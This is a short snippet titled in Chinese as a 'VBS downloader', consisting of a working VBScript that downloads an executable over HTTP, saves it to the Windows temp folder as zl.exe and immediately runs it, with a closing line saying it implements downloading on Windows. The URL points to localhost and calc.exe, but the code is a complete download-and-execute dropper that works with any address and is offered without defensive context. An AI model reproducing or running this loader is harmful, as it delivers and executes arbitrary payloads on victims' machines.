VBS下载器

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://127.0.0.1/calc.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\windows\temp\zl.exe",2
wscript.sleep 1000
Shell.Run ("c:\windows\temp\zl.exe")

在windows上实现下载功能。